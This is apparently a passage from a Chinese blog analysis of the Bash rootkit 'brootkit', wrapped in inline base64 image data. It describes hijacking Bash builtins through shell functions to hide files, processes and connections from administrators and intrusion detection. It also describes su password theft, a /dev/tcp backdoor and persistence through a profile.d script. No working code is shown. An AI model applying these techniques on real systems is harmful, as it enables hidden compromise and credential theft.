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" alt="" />

使用Bash自定义Functino进行Bash劫持的时候，需要注意的是，Bash有一些指令可以查看到这个现象，为了规避入侵检测系统，还需要做额外的处理

. builtin
builtin [shell-builtin [args]]
Run a shell builtin, passing it args, and return its exit status. This is useful when defining a shell function with the same name as a shell builtin, retaining the functionality of the builtin within the function. The return status is non-zero if shell-builtin is not a shell builtin command.

. declare
declare [-afFrxi] [-p] [name[=value]]
Declare variables and give them attributes. If no names are given, then display the values of variables instead.

. typeset
typeset [-afFrxi] [-p] [name[=value]]
The typeset command is supplied for compatibility with the Korn shell; however, it has been deprecated in favor of the declare builtin command.

. type
type [-atp] [name ...]
For each name, indicate how it would be interpreted if used as a command name.

. set
用set命令可以设置各种shell选项或者列出shell变量，包括用户自定义的Bash函数

. command
command [-pVv] command [arguments ...]
Runs command with arguments ignoring any shell function named command. Only shell builtin commands or commands found by searching the PATH are executed. If there is a shell function named ls, running `command ls' within the function will execute the external command ls instead of calling the function recursively. The `-p' option means to use a default value for PATH that is guaranteed to find all of the standard utilities. The return status in this case is  if command cannot be found or an error occurred, and the exit status of command otherwise.

在Bash自定义函数中，加入过滤引擎逻辑，对需要隐藏的输出进行过滤，实现了基于Bash的输出隐藏功能

Relevant Link:

https://github.com/cloudsec/brootkit
http://www.faqs.org/docs/bashman/bashref_55.html
http://www.4byte.cn/learning/44254.html
http://www.gnu.org/software/bash/manual/bashref.html#Executing-Commands

3. 关键技术点

. more hidable ability against admintrator or hids.
相比于传统的Ring3 ELF Replace Rootkit、VFS Hook Rootkit、LKM ROOTKIT的那种"系统外来物"，brootkit的安装和运行并没有造成系统产生很多"异常"的行为，/brootkit有种润物细无声的感觉，充分利用了系统原生提供的机制
    ) Bash自定义Function劫持，实现Bash输出Hook
    ) /dev/[tcp、udp]网络socket特殊设备
    ) /etc/profile.d/emac.sh默认自启动脚本 

. su passwd thief.
. hide file and directorys.
. hide process.
. hide network connections.

. connect backdoor.
利用了系统原生提供的socket设备文件/dev/[tcp/udp]/..来实现socket连接和sleep保持连接肉鸡上线
. muilt thread port scanner.
. http download.

aaarticlea/jpeg;base64,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